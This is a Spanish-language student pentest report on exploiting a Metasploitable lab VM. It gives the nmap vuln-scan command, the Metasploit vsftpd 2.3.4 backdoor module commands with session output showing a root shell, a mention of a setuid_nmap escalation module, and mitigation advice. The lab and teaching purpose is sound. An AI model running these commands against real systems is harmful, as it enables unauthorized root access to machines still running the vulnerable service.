




# Reporte de Pentesting v2

 Propietario	 Ayala Arroyo Raúl
 Etiquetas	

## Introducción

El objetivo de este ejercicio fue realizar un análisis de seguridad en una máquina virtual **Metasploitable** configurada en un entorno controlado. El propósito principal fue identificar, explotar vulnerabilidades existentes y escalar privilegios en el sistema objetivo. El ejercicio también incluyó la documentación detallada del proceso para reflexionar sobre el impacto de las vulnerabilidades y proponer medidas de mitigación.

## Metodología

El análisis se llevó a cabo siguiendo un enfoque estructurado que incluyó las siguientes etapas:

### 1. Confirmación de vulnerabilidades:

- Se utilizó el comando `nmap` con scripts de detección de vulnerabilidades para identificar servicios expuestos y confirmar posibles vulnerabilidades.
- Herramienta utilizada: `nmap`.

### 2. Explotación de vulnerabilidades:

- Se usó Metasploit para ejecutar un exploit conocido que aprovecha una puerta trasera en el servicio FTP vulnerable `vsFTPD 2.3.4`.

### 3. Documentación del proceso:

- Cada etapa del pentesting fue registrada, incluyendo los comandos utilizados y los resultados obtenidos, para proporcionar una descripción clara y detallada del ejercicio.

## Herramientas utilizadas:

- **Nmap:** Para el escaneo de servicios y confirmación de vulnerabilidades.

- **Metasploit Framework:** Para la explotación de vulnerabilidades.
- 

## Resultados

### Detalles de las vulnerabilidades explotadas

#### 1. Servicio vulnerable identificado:

- **Servicio:** FTP
- **Versión:** `vsFTPd 2.3.4`
- **Vulnerabilidad:** El servicio FTP contiene una puerta trasera que permite acceso remoto no autenticado con privilegios elevados. Esto está relacionado con una vulnerabilidad ampliamente documentada (CVE-2011-2523).

#### 2. Confirmación de vulnerabilidades:

- Se utilizó el comando `nmap` con el script `vuln` para identificar y confirmar las vulnerabilidades en la máquina objetivo ( `192.168.100.16` ).
- Resultado del escaneo:
  - Se identificó una vulnerabilidad relacionada con `NULL UDP Avahi Packet DoS` (CVE-2011-1002).
  - Se confirmó que el servicio FTP `vsFTPd 2.3.4` estaba disponible en el puerto 21.

#### 3. Explotación exitosa de vulnerabilidades:

- Herramienta utilizada: **Metasploit Framework.**
- Módulo: `exploit/unix/ftp/vsftpd_234_backdoor` .
- Descripción del proceso:
  - Se cargó el módulo en Metasploit y se configuró la dirección IP del objetivo ( `RHOST` ).
  - El exploit se ejecutó correctamente, generando una sesión remota con privilegios de `root` .

## Comandos y herramientas utilizadas para la explotación

## 1. Identificación de servicios y vulnerabilidades:

- Comando utilizado:

```
sudo nmap -sV --script=vuln 192.168.100.16
```

- Herramienta: `nmap`.
- Resultado: Confirmación de la presencia del servicio vulnerable `vsFTPD 2.3.4`.

## 2. Ejecución del exploit en Metasploit:

- Comandos utilizados:

```
msfconsole  
use exploit/unix/ftp/vsftpd_234_backdoor  
set RHOST 192.168.100.16  
run
```

- Herramienta: **Metasploit Framework**.
- Resultado: Acceso remoto exitoso con privilegios elevados (UID `root`).

## 3. Verificación de acceso privilegiado:

- Comando dentro de la sesión:

```
whoami
```

- Resultado: Confirmación de acceso como `root`.

## Capturas de pantalla y evidencias

### 1. Confirmación de vulnerabilidades con `nmap`:

- La captura muestra el uso del comando `nmap` con el script `vuln` y la identificación de dos vulnerabilidades:
  - `NULL UDP Avahi Packet DoS (CVE-2011-1002)`.
  - Servicio FTP `vsFTPD 2.3.4` en el puerto 21.

```
(crayon@kali)-[~]
└─$ sudo nmap -sV --script=vuln 192.168.100.16
[sudo] password for crayon:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-22 19:04 CST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|   Hosts that seem down (vulnerable):
|     224.0.0.251
|_
```

## 2. Ejecución de Metasploit:

- Se evidencia el uso del módulo `exploit/unix/ftp/vsftpd_234_backdoor` para explotar la vulnerabilidad del servicio FTP.
- La captura confirma:
  - Banner del servicio ( `vsFTPD 2.3.4` ).
  - Creación de una sesión remota con UID `0` ( `root` ).

## 3. Verificación de privilegios elevados:

- La captura muestra el comando `whoami` ejecutado en la sesión remota, confirmando acceso como `root` .

```
(crayon@kali)-[~]
$ msfconsole
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R

.:ok000kdc'          'cdk000ko:.
.x00000000000000e    c0000000000000x.
:000000000000000k,    ,k000000000000000:
'0000000000kkk00000: :0000000000000000'
o00000000.MMMM.o000o0000l.MMMM,00000000o
d00000000.MMMMM.c00000c.MMMMM,00000000x
l00000000.MMMMMMMMM,d;MMMMMMMM,00000000l
.00000000.MMM.;MMMMMMMMMMMM,MMM,00000000.
c0000000.MMM.O0c.MMMM'o00.MMM,0000000c
o000000.MMM.0000.MMM:0000.MMM,000000o
l00000.MMM.0000.MMM:0000.MMM,00000l
;0000'MMM,0000.MMM:0000.MMM;0000;
.d00o'WM.0000o0000000.MX'x00d.
,k0l'M.0000000000000.M'd0k,
:kk;.0000000000000.;0k:
;k000000000000000k:
,x0000000000000x,
.l00000000l.
,d0d,
.

=[ metasploit v6.4.20-dev ]
+ -- --[ 2440 exploits - 1256 auxiliary - 429 post ]
+ -- --[ 1471 payloads - 47 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

usemsf6 > use exploit/unix/ftp/vsftpd/234_backdoor
[-] No results from search
[-] Failed to load module: exploit/unix/ftp/vsftpd/234_backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.100.16
RHOST => 192.168.100.16
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.100.16:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.100.16:21 - USER: 331 Please specify the password.
[+] 192.168.100.16:21 - Backdoor service has been spawned, handling ...
[+] 192.168.100.16:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.100.7:33029 -> 192.168.100.16:6200) at 2024-11-22 19:30:44 -0600

whoami
root
█
```

## Escalación de Privilegios

### Técnicas utilizadas:

#### 1. Explotación con Metasploit:

- Se empleó el módulo `exploit/unix/local/setuid_nmap` para intentar obtener privilegios elevados.

### Resultados obtenidos:

- Acceso obtenido con privilegios de **root**, lo que permitió un control completo sobre el sistema objetivo.
- 

## Mitigación

Con base en las vulnerabilidades explotadas, se proponen las siguientes medidas:

### 1. Actualizar software vulnerable:

- Eliminar o actualizar el servicio FTP vulnerable ( `vsFTPd 2.3.4` ) a una versión más reciente y segura.

### 2. Eliminar binarios innecesarios con SUID:

- Auditar binarios con permisos SUID y eliminar los permisos de aquellos que no sean esenciales para el funcionamiento del sistema.

### 3. Configurar accesos restringidos:

- Implementar firewalls y listas de control de acceso para limitar las conexiones externas únicamente a direcciones IP autorizadas.

### 4. Realizar análisis regulares de seguridad:

- Implementar herramientas automatizadas para la detección y mitigación de vulnerabilidades en el sistema.

### 5. Fortalecer las políticas de monitoreo:

- Configurar alertas para actividades sospechosas, como intentos repetidos de inicio de sesión o accesos no autorizados.
- 

## Conclusión

Este ejercicio permitió explorar todo el ciclo de un ataque desde la identificación de servicios vulnerables hasta la obtención de privilegios elevados. Se destacó la importancia de mantener un sistema actualizado y correctamente configurado para evitar ataques exitosos. Las medidas de mitigación recomendadas apuntan a reforzar la seguridad del sistema y prevenir futuros compromisos.